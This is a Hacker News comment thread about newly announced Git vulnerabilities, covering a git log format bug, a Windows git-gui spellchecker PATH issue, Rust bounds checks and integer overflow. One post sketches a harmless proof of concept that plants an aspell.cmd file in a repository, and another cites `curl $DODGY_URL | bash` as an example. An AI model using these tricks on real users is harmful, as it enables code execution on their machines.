Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Git security vulnerabilities announced

github.blog

Post reply on HN
Print view View original

101–110 of 139 posts

Re: Git security vulnerabilities announced

#101

Post by csande17 »

gwbas1c wrote: post #89
ffjffsfr wrote: post #61

Regarding first vulnerability with gIt format, how can malicious party exploit it? Someone needs to convince you to run git log format with some unusual format specifier, right? And then they need to access some specific memory location this way so they still need to store something malicious elsewhere. Sounds like it would be really extremely hard for anyone to exploit this. Overall fixing this it looks like routine…

You could bury it in a script, or in one of the many "copy and paste this command into your terminal" blurbs that we see all over the place.

This sounds like Raymond Chen's "code execution leads to code execution" class of vulnerabilities: if you can trick users into running a malicious script, you have already won.

Re: Git security vulnerabilities announced

#102

Post by Arnavion »

zerocrates wrote: post #95
mdaniel wrote: post #48

Earlier quoted context omitted.

As best I can tell from the "The Windows-specific issue involves a $PATH lookup including the current working directory" part, it would be: echo "calc.exe" > aspell.cmd git commit -a -m"lolol windows" and wait for someone to clone that repo

What I don't quite get is why there's spellchecking on incoming commits at all.

Don't understand what you mean by "incoming commits". git-gui shows you a textbox for the commit message, and error squiggles for misspelled words (presumably; I CBA to install a spell checker). The bug is that it spawns the spellcheck binary using Tcl's API, which on Windows also looks up binaries in the current directory regardless of whether the current directory is in $PATH or not.

Edit: Maybe you're referring to the existing commits in the repo that you just cloned? If so, those are irrelevant. git-gui is a GUI for composing commits. The commit message being spell-checked is the one that you would write in order to create a new commit.

Re: Git security vulnerabilities announced

#103

Post by Arnavion »

heywhatupboys wrote: post #43
remirk wrote: post #35

Original source: https://lore.kernel.org/git/xmqq7cxl9h0i.fsf@gitster.g/T/#u

this should really be the article link instead of that proprietary writeup by a company taking advantage of OSS edit: just because someone puts up an "easy" ""free"" service, does not mean they are kind. GitHub is not your friend for git issues. I woul dhope this site would support true FOSS

remirk's link is missing the git-gui CVE so it's not a direct replacement.

Re: Git security vulnerabilities announced

#104

Post by kibwen »

_8dej wrote: post #92
shiftingleft wrote: post #26

Earlier quoted context omitted.

To elaborate on this: Rust always performs bounds checks on array accesses, so you can't get an out-of-bound read/write.

Is there a way to turn this off?

Not via a compiler flag, no. The way to "opt out" of bounds checks is to replace `foo[bar]` with `unsafe { foo.get_unchecked(bar) }` at a given callsite. And the use of `unsafe` is going to immediately raise the eyebrow of any code reviewer or auditor.

Re: Git security vulnerabilities announced

#105

Post by topspin »

viraptor wrote: post #79
topspin wrote: post #67

Earlier quoted context omitted.

> I feel Rust had a chance to fix this Don't see how. Given the hardware Rust is designed to program you have to compromise some or all of efficiency, memory usage and complexity to solve overflow.

Rust can guarantee some things about collections which are not possible in C, so a lot more range checks and overflow checks could be omitted. Together with actually having the saturating/overflowing/checked adds, this makes the whole thing a lot safer and easier to deal with where you need to.

Great. Tell bbojan how Rust didn't actually "drop the ball" then. When you do you'll be told about all the different ways Rust doesn't actually solve overflow. And those claims will likely be correct because they're self evident.

My point -- my sole point -- is that Rust is like it is because none of the alternatives are viable for Rust; Rust must run efficiently (as a "systems" level language use defines "efficient") on hardware that silently wraps words. Rust can't fix that and still be Rust. There is no ball to drop.

Re: Git security vulnerabilities announced

#106

Post by jasonmarks_ »

codazoda wrote: post #87

I don't think Apple has patched this yet (it just came out 3 hours ago). Looks like homebrew got right on it so I installed via that with the following command. `brew install git` The latest version in Ventura 13.1 seems to be either 2.24.3 or 2.37.1 (not all my co-workers machines match). I'm not sure if these are defaults, different because some of us have XCode, or if some of us manually installed. In any case, br…

I too think package managers are amazing...

reads new git security threat

"brew upgrade"

done!

Re: Git security vulnerabilities announced

#107

Post by tsimionescu »

favorited wrote: post #64
soiler wrote: post #44

Earlier quoted context omitted.

Can you explain this as if I were a programmer who doesn't know what that looks like?

There are different ways to design it, but a simple version could be a function that takes 2 operands and 1 result pointer as inputs, and returns boolean (true if success, false if it overflowed): bool SafeAddIntInt(int32_t x, int32_t y, int32_t *r); so the caller could say int32_t result; if (SafeAddIntInt(x, y, &result)) { // do something with result } else { // handle overflow } An even simpler version could just…

Note that there is no such thing as integer underflow. INT_MIN-1 is an overflow just as much as INT_MAX+1.

Only floats can suffer from underflow, which happens when you want to represent a number whose absolute value is smaller than the floating point precision can allow (e.g. trying to represent 1/2^32 in a 32-bit float).

Re: Git security vulnerabilities announced

#109

Post by Karellen »

csande17 wrote: post #101
gwbas1c wrote: post #89

Earlier quoted context omitted.

You could bury it in a script, or in one of the many "copy and paste this command into your terminal" blurbs that we see all over the place.

This sounds like Raymond Chen's "code execution leads to code execution" class of vulnerabilities: if you can trick users into running a malicious script, you have already won.

If you can trick a user to run any arbitrary script blindly, sure, you've already won.

The hard part is tricking a user into running a script that they can inspect, and looks even on close inspection to be non-arbitrary and quite constrained in what it might do.

There's a world of difference between being gullible enough to run `curl $DODGY_URL | bash`, and thinking "what could possibly go wrong" when being asked to check the output of `git log --format="$WEIRD_FORMAT"`. Even if you check that $WEIRD_FORMAT doesn't escape shell quoting and pull a Bobby Tables, or run a `` or $() subshell, or do anything except pass a weird looking format string, there's no way to tell that there's a genuine bug in the `git log` formatting code that allows a specially-crafted format specifier to do ACE.

Post reply on HN